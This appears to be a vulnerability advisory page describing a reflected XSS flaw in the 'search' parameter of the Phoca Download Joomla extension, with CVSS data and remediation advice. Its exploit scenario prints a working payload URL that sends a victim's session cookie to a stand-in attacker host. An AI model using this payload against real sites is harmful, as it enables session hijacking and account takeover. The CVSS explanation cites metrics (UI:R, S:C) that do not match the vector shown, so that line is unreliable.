EUVD-2026-63211
GHSA-99wr-9r6w-w242
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Reflected XSS is network-delivered, requires no privileges, needs user interaction (UI:R), achieves scope change to browser context (S:C), with limited confidentiality and integrity impact and no availability impact.
Primary rating from Vendor (Joomla).
CVSS VectorVendor: Joomla
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
1DescriptionCVE.org
Joomla Extension - phoca.cz - Reflected XSS via the search GET parameter in Phoca Download 5.0.0-6.1.4
AnalysisAI
Reflected XSS in the Phoca Download Extension for Joomla (versions 5.0.0 through 6.1.4) allows unauthenticated remote attackers to inject and execute arbitrary JavaScript in a victim's browser by crafting a malicious URL containing a payload in the 'search' GET parameter. Exploitation requires social engineering to lure a victim into clicking the crafted link, after which the attacker can steal session tokens, perform actions on behalf of the victim, or redirect to malicious sites. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The target Joomla site must have the Phoca Download Extension installed and active in versions 5.0.0 through 6.1.4. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 5.3 (Medium) is appropriately calibrated for a reflected XSS requiring user interaction (UI:P). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker constructs a URL targeting a vulnerable Joomla site (e.g., https://victim-site.com/index.php?option=com_phocadownload&view=category&search=<script>document.location='https://attacker.com/?c='+document.cookie</script>) and delivers it to a site administrator via phishing email or social media. When the admin clicks the link and their browser renders the search results page, the injected script executes and exfiltrates the admin's Joomla session cookie to the attacker, enabling full session hijacking. … |
| Remediation | Upgrade Phoca Download Extension for Joomla to a version beyond 6.1.4 once a patched release is published by phoca.cz. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today